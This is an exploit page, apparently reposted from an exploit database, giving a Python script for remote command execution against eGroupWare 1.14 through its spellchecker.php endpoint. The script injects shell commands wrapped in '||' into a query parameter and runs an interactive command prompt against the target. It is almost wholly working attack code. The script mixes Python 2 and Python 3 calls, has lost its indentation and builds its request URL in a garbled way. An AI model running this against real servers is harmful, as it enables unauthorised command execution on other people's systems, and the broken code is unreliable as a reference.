Exploit/Advisories

# Exploit Title: eGroupWare 1.14 - 'spellchecker.php' Remote Command Execution
# Date: 2020-07-27
# Exploit Author: Berk KIRAS
# Vendor Homepage: https://www.egroupware.org/en/
# Version: 1.14
# Tested on: Apache
# Berk KIRAS PwC - Cyber Security Specialist

#!/usr/bin/python3

import requests
import sys
import threading
import urllib

def send_req(command):
#Headers
my_datas_headers ={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
"Accept": "text/javascript, text/html, application/xml, text/xml, */*",
"Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Content-type": "application/json; charset=UTF-8",
"Connection": "close",
}
#If you want to edit and add headers some headers added
s = requests.session()
#if you want simple-> headers={'User-Agent': 'Mozilla', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}
s.headers.update(my_datas_headers)
params={"q":"||"+command+"||"}
command_encoded = urllib.urlencode(params)
command_encoded = command_encoded.split("=")[1]
r = s.get(sys.argv[1]+"://"+sys.argv[2]+"/egroupware/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/"+"spellchecker.php?spellchecker_lang=egroupware_spellchecker_cmd_exec.nasl"+command_encoded)
return r.content

def main():
if(len(sys.argv) < 3):
print("Usage:exploit.py ")
sys.exit(0)
else:
try:
while True:
cmd = raw_input("CMD_>")
resp=send_req(cmd).split(";")[5].split("2>&1")[1]
print(resp)

except Exception:
print(Exception)

main()

Comments are closed.